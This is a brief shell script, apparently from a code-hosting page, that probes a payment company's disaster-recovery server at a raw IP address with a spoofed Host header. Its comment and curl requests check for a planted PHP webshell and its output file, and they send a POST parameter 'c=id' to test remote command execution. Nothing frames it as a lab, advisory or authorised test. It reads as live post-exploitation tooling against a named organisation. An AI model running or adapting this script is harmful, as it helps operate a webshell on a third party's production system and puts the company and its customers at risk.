14 lines
1.2 KiB
Bash
14 lines
1.2 KiB
Bash
#!/bin/sh
|
|
# Probe DR origin instance state: phtml shell presence, out file, POST c=id full error, POST without c
|
|
IP=52.51.74.51
|
|
J=/tmp/c3.jar; rm -f "$J"
|
|
a=$(curl -sk -m 12 -c "$J" -b "$J" -o /tmp/c3.a -w '%{http_code}' -H 'Host: dr.paystack.com' "https://$IP/pstk_ui8qc4.phtml" 2>/dev/null)
|
|
echo "A|$a|len=$(wc -c </tmp/c3.a 2>/dev/null)|$(head -c 100 /tmp/c3.a 2>/dev/null | tr '\n\r' ' ')"
|
|
b=$(curl -sk -m 12 -c "$J" -b "$J" -o /tmp/c3.b -w '%{http_code}' -H 'Host: dr.paystack.com' "https://$IP/pstk_out_ui8qc4.txt" 2>/dev/null)
|
|
echo "B|$b|len=$(wc -c </tmp/c3.b 2>/dev/null)|$(head -c 200 /tmp/c3.b 2>/dev/null | tr '\n\r' ' ')"
|
|
c=$(curl -sk -m 15 -c "$J" -b "$J" -o /tmp/c3.c -w '%{http_code}' -H 'Host: dr.paystack.com' --data 'c=id' "https://$IP/" 2>/dev/null)
|
|
echo "C|$c|len=$(wc -c </tmp/c3.c 2>/dev/null)|$(head -c 300 /tmp/c3.c 2>/dev/null | tr '\n\r' ' ')"
|
|
grep -oiE '(exception|Error|message)[^<]{0,120}' /tmp/c3.c 2>/dev/null | head -4
|
|
d=$(curl -sk -m 12 -c "$J" -b "$J" -o /tmp/c3.d -w '%{http_code}' -H 'Host: dr.paystack.com' --data 'x=1' "https://$IP/" 2>/dev/null)
|
|
echo "D|$d|len=$(wc -c </tmp/c3.d 2>/dev/null)|$(grep -o '<title>[^<]*' /tmp/c3.d 2>/dev/null | head -1 | cut -c8-60)"
|
|
echo CI3DONE
|